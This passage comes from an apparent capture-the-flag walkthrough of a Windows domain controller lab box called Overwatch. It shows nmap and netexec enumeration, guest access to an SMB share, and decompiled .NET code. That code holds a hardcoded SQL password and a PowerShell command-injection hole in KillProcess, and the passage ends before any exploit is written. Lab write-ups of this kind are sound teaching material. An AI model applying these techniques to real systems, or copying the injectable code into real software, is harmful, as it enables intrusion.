49667/tcp open  unknown          syn-ack ttl 127
58262/tcp open  unknown          syn-ack ttl 127
58263/tcp open  unknown          syn-ack ttl 127
58270/tcp open  unknown          syn-ack ttl 127
59189/tcp open  unknown          syn-ack ttl 127
61751/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds
           Raw packets sent: 131054 (5.766MB) | Rcvd: 25 (1.084KB)
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p</span> 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,6520,9389 <span class="nt">-sCV</span> 10.129.244.81
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-24 19:44 UTC
...[snip]...
Nmap scan report for 10.129.244.81
Host is up (0.021s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-24 19:45:01Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=S200401.overwatch.htb
| Not valid before: 2025-12-07T15:16:06
|_Not valid after:  2026-06-08T15:16:06
|_ssl-date: 2026-04-24T19:46:25+00:00; -4s from scanner time.
| rdp-ntlm-info:
|   Target_Name: OVERWATCH
|   NetBIOS_Domain_Name: OVERWATCH
|   NetBIOS_Computer_Name: S200401
|   DNS_Domain_Name: overwatch.htb
|   DNS_Computer_Name: S200401.overwatch.htb
|   DNS_Tree_Name: overwatch.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2026-04-24T19:45:43+00:00
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
6520/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RC0+
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-04-24T19:24:36
|_Not valid after:  2056-04-24T19:24:36
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2026-04-24T19:46:25+00:00; -4s from scanner time.
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-04-24T19:45:44
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: -4s, deviation: 0s, median: -4s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.88 seconds
</span></code></pre></div></div>

<p>The box shows many of the ports associated with a <a href="/cheatsheets/os#windows-domain-controller">Windows Domain Controller</a>. The domain is <code class="language-plaintext highlighter-rouge">overwatch.htb</code>, and the hostname is <code class="language-plaintext highlighter-rouge">S200401</code>.</p>

<p>There’s also an MSSQL 2022 on TCP 6520. I can try to connect, but it requires creds.</p>

<p>I’ll use <code class="language-plaintext highlighter-rouge">netexec</code> to make a <code class="language-plaintext highlighter-rouge">hosts</code> file entry and put it at the top of my <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb 10.129.244.81 <span class="nt">--generate-hosts-file</span> hosts
<span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go"> </span><span class="netexec-logfail">(Guest Auth:True)</span><span class="go">
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>hosts /etc/hosts | <span class="nb">sudo tee</span> /etc/hosts | <span class="nb">head</span> <span class="nt">-1</span>
<span class="go">10.129.244.81     S200401.overwatch.htb overwatch.htb S200401
</span></code></pre></div></div>

<p>All of the ports show a TTL of 127, which matches the <a href="/cheatsheets/os#os-identification">expected TTL</a> for Windows one hop away.</p>

<p><code class="language-plaintext highlighter-rouge">nmap</code> notes almost no clock skew. If there were one more than five minutes, I’d want to run <code class="language-plaintext highlighter-rouge">sudo ntpdate S200401.overwatch.htb</code> before any actions that use Kerberos auth.</p>

<h3 id="smb---tcp-445">SMB - TCP 445</h3>

<h4 id="shares">Shares</h4>

<p>Guest auth allows me to list shares with any username and blank password:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$ </span>netexec smb 10.129.244.81 <span class="nt">-u</span> 0xdf <span class="nt">-p</span> <span class="s1">''</span> <span class="nt">--shares</span>
<span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go"> </span><span class="netexec-logfail">(Guest Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-logsuccess">[+]</span><span class="go"> overwatch.htb\0xdf: (Guest)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> Enumerated shares
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-shareenum">Share           Permissions     Remark</span><span class="err">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-shareenum">-----           -----------     ------
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-shareenum">ADMIN$                          Remote Admin
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-shareenum">C$                              Default share
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-shareenum">IPC$            READ            Remote IPC
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-shareenum">NETLOGON                        Logon server share 
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-shareenum">software$       READ            
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-shareenum">SYSVOL                          Logon server share
</span></code></pre></div></div>

<p>I’ve got read access to the <code class="language-plaintext highlighter-rouge">software$</code> share.</p>

<h4 id="software">software$</h4>

<p>I’ll use <code class="language-plaintext highlighter-rouge">spider_plus</code> to list and download all the files on the share:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb 10.129.244.81 <span class="nt">-u</span> 0xdf <span class="nt">-p</span> <span class="s1">''</span> <span class="nt">-M</span> spider_plus <span class="nt">-o</span> <span class="nv">DOWNLOAD_FLAG</span><span class="o">=</span>True
<span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go"> </span><span class="netexec-logfail">(Guest Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-logsuccess">[+]</span><span class="go"> overwatch.htb\0xdf: (Guest)
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> Started module spidering_plus with the following options:
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go">  DOWNLOAD_FLAG: True
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go">     STATS_FLAG: True
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> EXCLUDE_FILTER: ['print$', 'ipc$']
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go">   EXCLUDE_EXTS: ['ico', 'lnk']
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go">  MAX_FILE_SIZE: 50 KB
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go">  OUTPUT_FOLDER: /home/oxdf/.nxc/modules/nxc_spider_plus
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> Enumerated shares
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-shareenum">Share           Permissions     Remark</span><span class="err">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-shareenum">-----           -----------     ------
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-shareenum">ADMIN$                          Remote Admin
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-shareenum">C$                              Default share
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-shareenum">IPC$            READ            Remote IPC
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-shareenum">NETLOGON                        Logon server share 
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-shareenum">software$       READ            
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-shareenum">SYSVOL                          Logon server share 
</span><span class="nb">SPIDER_PLUS</span><span class="go"> 10.129.244.81   445    S200401          </span><span class="netexec-logsuccess">[+]</span><span class="go"> Saved share-file metadata to "/home/oxdf/.nxc/modules/nxc_spider_plus/10.129.244.81.json".
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> SMB Shares:           6 (ADMIN$, C$, IPC$, NETLOGON, software$, SYSVOL)
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> SMB Readable Shares:  2 (IPC$, software$)
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> SMB Filtered Shares:  1
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> Total folders found:  3
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> Total files found:    16
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> Files filtered:       12
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> File size average:    1.36 MB
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> File size min:        2.11 KB
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> File size max:        6.81 MB
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> File unique exts:     5 (config, xml, exe, pdb, dll)
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> Downloads successful: 4
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.244.81   445    S200401          </span><span class="netexec-logsuccess">[+]</span><span class="go"> All files processed successfully.
</span></code></pre></div></div>

<p>I’ll grab those files and move them to my current directory:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">mv</span> ~/.nxc/modules/nxc_spider_plus/10.129.244.81/software<span class="se">\$</span> software
<span class="gp">oxdf@hacky$</span><span class="w"> </span>find software/ <span class="nt">-type</span> f
<span class="go">software/Monitoring/overwatch.exe.config
software/Monitoring/overwatch.pdb
software/Monitoring/overwatch.exe
software/Monitoring/Microsoft.Management.Infrastructure.dll
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">overwatch.exe.config</code> is XML:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="utf-8"?&gt;</span>
<span class="nt">&lt;configuration&gt;</span>
  <span class="nt">&lt;configSections&gt;</span>
    <span class="c">&lt;!-- For more information on Entity Framework configuration, visit http://go.microsoft.com/fwlink/?LinkID=237468 --&gt;</span>
    <span class="nt">&lt;section</span> <span class="na">name=</span><span class="s">"entityFramework"</span> <span class="na">type=</span><span class="s">"System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"</span> <span class="na">requirePermission=</span><span class="s">"false"</span> <span class="nt">/&gt;</span>
  <span class="nt">&lt;/configSections&gt;</span>
  <span class="nt">&lt;system.serviceModel&gt;</span>
    <span class="nt">&lt;services&gt;</span>
      <span class="nt">&lt;service</span> <span class="na">name=</span><span class="s">"MonitoringService"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;host&gt;</span>
          <span class="nt">&lt;baseAddresses&gt;</span>
            <span class="nt">&lt;add</span> <span class="na">baseAddress=</span><span class="s">"http://overwatch.htb:8000/MonitorService"</span> <span class="nt">/&gt;</span>
          <span class="nt">&lt;/baseAddresses&gt;</span>
        <span class="nt">&lt;/host&gt;</span>
        <span class="nt">&lt;endpoint</span> <span class="na">address=</span><span class="s">""</span> <span class="na">binding=</span><span class="s">"basicHttpBinding"</span> <span class="na">contract=</span><span class="s">"IMonitoringService"</span> <span class="nt">/&gt;</span>
        <span class="nt">&lt;endpoint</span> <span class="na">address=</span><span class="s">"mex"</span> <span class="na">binding=</span><span class="s">"mexHttpBinding"</span> <span class="na">contract=</span><span class="s">"IMetadataExchange"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;/service&gt;</span>
    <span class="nt">&lt;/services&gt;</span>
    <span class="nt">&lt;behaviors&gt;</span>
      <span class="nt">&lt;serviceBehaviors&gt;</span>
        <span class="nt">&lt;behavior&gt;</span>
          <span class="nt">&lt;serviceMetadata</span> <span class="na">httpGetEnabled=</span><span class="s">"True"</span> <span class="nt">/&gt;</span>
          <span class="nt">&lt;serviceDebug</span> <span class="na">includeExceptionDetailInFaults=</span><span class="s">"True"</span> <span class="nt">/&gt;</span>
        <span class="nt">&lt;/behavior&gt;</span>
      <span class="nt">&lt;/serviceBehaviors&gt;</span>
    <span class="nt">&lt;/behaviors&gt;</span>
  <span class="nt">&lt;/system.serviceModel&gt;</span>
  <span class="nt">&lt;entityFramework&gt;</span>
    <span class="nt">&lt;providers&gt;</span>
      <span class="nt">&lt;provider</span> <span class="na">invariantName=</span><span class="s">"System.Data.SqlClient"</span> <span class="na">type=</span><span class="s">"System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;provider</span> <span class="na">invariantName=</span><span class="s">"System.Data.SQLite.EF6"</span> <span class="na">type=</span><span class="s">"System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6"</span> <span class="nt">/&gt;</span>
    <span class="nt">&lt;/providers&gt;</span>
  <span class="nt">&lt;/entityFramework&gt;</span>
  <span class="nt">&lt;system.data&gt;</span>
    <span class="nt">&lt;DbProviderFactories&gt;</span>
      <span class="nt">&lt;remove</span> <span class="na">invariant=</span><span class="s">"System.Data.SQLite.EF6"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;add</span> <span class="na">name=</span><span class="s">"SQLite Data Provider (Entity Framework 6)"</span> <span class="na">invariant=</span><span class="s">"System.Data.SQLite.EF6"</span> <span class="na">description=</span><span class="s">".NET Framework Data Provider for SQLite (Entity Framework 6)"</span> <span class="na">type=</span><span class="s">"System.Data.SQLite.EF6.SQLiteProviderFactory, System.Data.SQLite.EF6"</span> <span class="nt">/&gt;</span>
    <span class="nt">&lt;remove</span> <span class="na">invariant=</span><span class="s">"System.Data.SQLite"</span> <span class="nt">/&gt;&lt;add</span> <span class="na">name=</span><span class="s">"SQLite Data Provider"</span> <span class="na">invariant=</span><span class="s">"System.Data.SQLite"</span> <span class="na">description=</span><span class="s">".NET Framework Data Provider for SQLite"</span> <span class="na">type=</span><span class="s">"System.Data.SQLite.SQLiteFactory, System.Data.SQLite"</span> <span class="nt">/&gt;&lt;/DbProviderFactories&gt;</span>
  <span class="nt">&lt;/system.data&gt;</span>
<span class="nt">&lt;/configuration&gt;</span>
</code></pre></div></div>

<p>There’s a monitoring service at <code class="language-plaintext highlighter-rouge">http://overwatch.htb:8000/MonitorService</code>. A few things worth noting from the WCF config:</p>

<ul>
  <li>It uses <code class="language-plaintext highlighter-rouge">basicHttpBinding</code> (plain HTTP, no transport security or auth configured).</li>
  <li><code class="language-plaintext highlighter-rouge">serviceMetadata httpGetEnabled="True"</code> means the WSDL is published, so once the port is reachable I can pull it with <code class="language-plaintext highlighter-rouge">?wsdl</code> / <code class="language-plaintext highlighter-rouge">?singleWsdl</code> and see every contract method.</li>
  <li><code class="language-plaintext highlighter-rouge">serviceDebug includeExceptionDetailInFaults="True"</code> will leak full .NET stack traces on any error, great for info disclosure and error-based oracles when shaping payloads.</li>
</ul>

<p>Two Entity Framework providers are registered: <code class="language-plaintext highlighter-rouge">SqlClient</code> for a remote SQL Server (presumably the one on 6520) and <code class="language-plaintext highlighter-rouge">SQLite</code> for a local database file. That split maps to the two data sources the binary actually touches (seen below).</p>

<p>Port 8000 isn’t reachable from outside (probably firewalled or localhost-only), so this is an attack surface to remember for later.</p>

<p><code class="language-plaintext highlighter-rouge">Microsoft.Management.Infrastructure.dll</code> is a Microsoft library, so it’s not interesting except to say that the binary likely interacts with WMI / CIM.</p>

<h2 id="shell-as-sqlmgmt">Shell as sqlmgmt</h2>

<h3 id="auth-as-sqlsvc">Auth as sqlsvc</h3>

<h4 id="overwatchexe">overwatch.exe</h4>

<p><code class="language-plaintext highlighter-rouge">overwatch.exe</code> is a .NET binary:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>file software/Monitoring/overwatch.exe
<span class="go">software/Monitoring/overwatch.exe: PE32+ executable (console) x86-64 Mono/.Net assembly, for MS Windows, 2 sections
</span></code></pre></div></div>

<p>I’ll load it in a .NET disassembler such as <a href="https://www.jetbrains.com/decompiler/">DotPeek</a> and take a look. The code sits in <code class="language-plaintext highlighter-rouge">{} / MonitoringService</code> and <code class="language-plaintext highlighter-rouge">{} / Program</code>:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260424162243783.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260424162243783.png" alt="image-20260424162243783" class="include_image " />
</picture>

<p><code class="language-plaintext highlighter-rouge">Program</code> has the <code class="language-plaintext highlighter-rouge">Main</code> function, which starts <code class="language-plaintext highlighter-rouge">MonitoringService</code>, waits 30 seconds, runs <code class="language-plaintext highlighter-rouge">CheckEdgeHistory</code>, and then waits for the user to enter something and exits:</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">internal</span> <span class="k">class</span> <span class="nc">Program</span>
<span class="p">{</span>
  <span class="k">private</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="n">ServiceHost</span> <span class="n">serviceHost</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">ServiceHost</span><span class="p">(</span><span class="k">typeof</span> <span class="p">(</span><span class="n">MonitoringService</span><span class="p">),</span> <span class="n">Array</span><span class="p">.</span><span class="n">Empty</span><span class="p">&lt;</span><span class="n">Uri</span><span class="p">&gt;());</span>
    <span class="n">serviceHost</span><span class="p">.</span><span class="nf">Open</span><span class="p">();</span>
    <span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="s">"Service is running..."</span><span class="p">);</span>
    <span class="n">Timer</span> <span class="n">timer</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">Timer</span><span class="p">(</span><span class="m">30000.0</span><span class="p">);</span>
    <span class="n">timer</span><span class="p">.</span><span class="n">Elapsed</span> <span class="p">+=</span> <span class="k">new</span> <span class="nf">ElapsedEventHandler</span><span class="p">(</span><span class="n">Program</span><span class="p">.</span><span class="n">CheckEdgeHistory</span><span class="p">);</span>
    <span class="n">timer</span><span class="p">.</span><span class="nf">Start</span><span class="p">();</span>
    <span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="s">"Press Enter to exit..."</span><span class="p">);</span>
    <span class="n">Console</span><span class="p">.</span><span class="nf">ReadLine</span><span class="p">();</span>
    <span class="n">serviceHost</span><span class="p">.</span><span class="nf">Close</span><span class="p">();</span>
  <span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">CheckEdgeHistory</code> runs on the timer and copies recent Edge browser history rows into the remote MSSQL <code class="language-plaintext highlighter-rouge">EventLog</code> table:</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">private</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">CheckEdgeHistory</span><span class="p">(</span><span class="kt">object</span> <span class="n">sender</span><span class="p">,</span> <span class="n">ElapsedEventArgs</span> <span class="n">e</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="kt">string</span> <span class="n">str1</span> <span class="p">=</span> <span class="n">Path</span><span class="p">.</span><span class="nf">Combine</span><span class="p">(</span><span class="n">Environment</span><span class="p">.</span><span class="nf">GetFolderPath</span><span class="p">(</span><span class="n">Environment</span><span class="p">.</span><span class="n">SpecialFolder</span><span class="p">.</span><span class="n">LocalApplicationData</span><span class="p">),</span> <span class="s">"Microsoft\\Edge\\User Data\\Default\\History"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(!</span><span class="n">File</span><span class="p">.</span><span class="nf">Exists</span><span class="p">(</span><span class="n">str1</span><span class="p">))</span>
      <span class="k">return</span><span class="p">;</span>
    <span class="kt">string</span> <span class="n">tempFileName</span> <span class="p">=</span> <span class="n">Path</span><span class="p">.</span><span class="nf">GetTempFileName</span><span class="p">();</span>
    <span class="n">File</span><span class="p">.</span><span class="nf">Copy</span><span class="p">(</span><span class="n">str1</span><span class="p">,</span> <span class="n">tempFileName</span><span class="p">,</span> <span class="k">true</span><span class="p">);</span>
    <span class="k">try</span>
    <span class="p">{</span>
      <span class="k">using</span> <span class="p">(</span><span class="n">SqlConnection</span> <span class="n">sqlConnection</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">SqlConnection</span><span class="p">(</span><span class="s">"Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;"</span><span class="p">))</span>
      <span class="p">{</span>
        <span class="n">sqlConnection</span><span class="p">.</span><span class="nf">Open</span><span class="p">();</span>
        <span class="k">using</span> <span class="p">(</span><span class="n">SqlCommand</span> <span class="n">sqlCommand</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">SqlCommand</span><span class="p">())</span>
        <span class="p">{</span>
          <span class="n">sqlCommand</span><span class="p">.</span><span class="n">Connection</span> <span class="p">=</span> <span class="n">sqlConnection</span><span class="p">;</span>
          <span class="n">SQLiteConnection</span> <span class="n">sqLiteConnection</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">SQLiteConnection</span><span class="p">(</span><span class="s">"Data Source="</span> <span class="p">+</span> <span class="n">tempFileName</span> <span class="p">+</span> <span class="s">";Version=3;"</span><span class="p">);</span>
          <span class="p">((</span><span class="n">DbConnection</span><span class="p">)</span> <span class="n">sqLiteConnection</span><span class="p">).</span><span class="nf">Open</span><span class="p">();</span>
          <span class="n">SQLiteDataReader</span> <span class="n">sqLiteDataReader</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">SQLiteCommand</span><span class="p">(</span><span class="s">"SELECT url, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 5"</span><span class="p">,</span> <span class="n">sqLiteConnection</span><span class="p">).</span><span class="nf">ExecuteReader</span><span class="p">();</span>
          <span class="k">while</span> <span class="p">(((</span><span class="n">DbDataReader</span><span class="p">)</span> <span class="n">sqLiteDataReader</span><span class="p">).</span><span class="nf">Read</span><span class="p">())</span>
          <span class="p">{</span>
            <span class="kt">string</span> <span class="n">str2</span> <span class="p">=</span> <span class="s">"INSERT INTO EventLog (Timestamp, EventType, Details) VALUES (GETDATE(), 'URLVisit', '"</span> <span class="p">+</span> <span class="p">((</span><span class="n">DbDataReader</span><span class="p">)</span> <span class="n">sqLiteDataReader</span><span class="p">)[</span><span class="s">"url"</span><span class="p">].</span><span class="nf">ToString</span><span class="p">()</span> <span class="p">+</span> <span class="s">"')"</span><span class="p">;</span>
            <span class="n">sqlCommand</span><span class="p">.</span><span class="n">CommandText</span> <span class="p">=</span> <span class="n">str2</span><span class="p">;</span>
            <span class="n">sqlCommand</span><span class="p">.</span><span class="nf">ExecuteNonQuery</span><span class="p">();</span>
          <span class="p">}</span>
          <span class="p">((</span><span class="n">DbConnection</span><span class="p">)</span> <span class="n">sqLiteConnection</span><span class="p">).</span><span class="nf">Close</span><span class="p">();</span>
        <span class="p">}</span>
      <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">catch</span>
    <span class="p">{</span>
    <span class="p">}</span>
    <span class="k">finally</span>
    <span class="p">{</span>
      <span class="n">File</span><span class="p">.</span><span class="nf">Delete</span><span class="p">(</span><span class="n">tempFileName</span><span class="p">);</span>
    <span class="p">}</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The details of this function aren’t important. It does have a hardcoded connection string for the local MSSQL with a username and password.</p>

<p><code class="language-plaintext highlighter-rouge">MonitoringService</code> implements the WCF contract <code class="language-plaintext highlighter-rouge">IMonitoringService</code>, which exposes three operations: <code class="language-plaintext highlighter-rouge">StartMonitoring()</code>, <code class="language-plaintext highlighter-rouge">StopMonitoring()</code>, and <code class="language-plaintext highlighter-rouge">KillProcess(string processName)</code>. The ctor stores the same connection string in a field that the rest of the class uses.</p>

<p><code class="language-plaintext highlighter-rouge">KillProcess</code> has a potential injection opportunity:</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">public</span> <span class="kt">string</span> <span class="nf">KillProcess</span><span class="p">(</span><span class="kt">string</span> <span class="n">processName</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="kt">string</span> <span class="n">scriptContents</span> <span class="p">=</span> <span class="s">"Stop-Process -Name "</span> <span class="p">+</span> <span class="n">processName</span> <span class="p">+</span> <span class="s">" -Force"</span><span class="p">;</span>
    <span class="k">try</span>
    <span class="p">{</span>
      <span class="k">using</span> <span class="p">(</span><span class="n">Runspace</span> <span class="n">runspace</span> <span class="p">=</span> <span class="n">RunspaceFactory</span><span class="p">.</span><span class="nf">CreateRunspace</span><span class="p">())</span>
      <span class="p">{</span>
        <span class="n">runspace</span><span class="p">.</span><span class="nf">Open</span><span class="p">();</span>
        <span class="k">using</span> <span class="p">(</span><span class="n">Pipeline</span> <span class="n">pipeline</span> <span class="p">=</span> <span class="n">runspace</span><span class="p">.</span><span class="nf">CreatePipeline</span><span class="p">())</span>
        <span class="p">{</span>
          <span class="n">pipeline</span><span class="p">.</span><span class="n">Commands</span><span class="p">.</span><span class="nf">AddScript</span><span class="p">(</span><span class="n">scriptContents</span><span class="p">);</span>
          <span class="n">pipeline</span><span class="p">.</span><span class="n">Commands</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="s">"Out-String"</span><span class="p">);</span>
          <span class="n">Collection</span><span class="p">&lt;</span><span class="n">PSObject</span><span class="p">&gt;</span> <span class="n">collection</span> <span class="p">=</span> <span class="n">pipeline</span><span class="p">.</span><span class="nf">Invoke</span><span class="p">();</span>
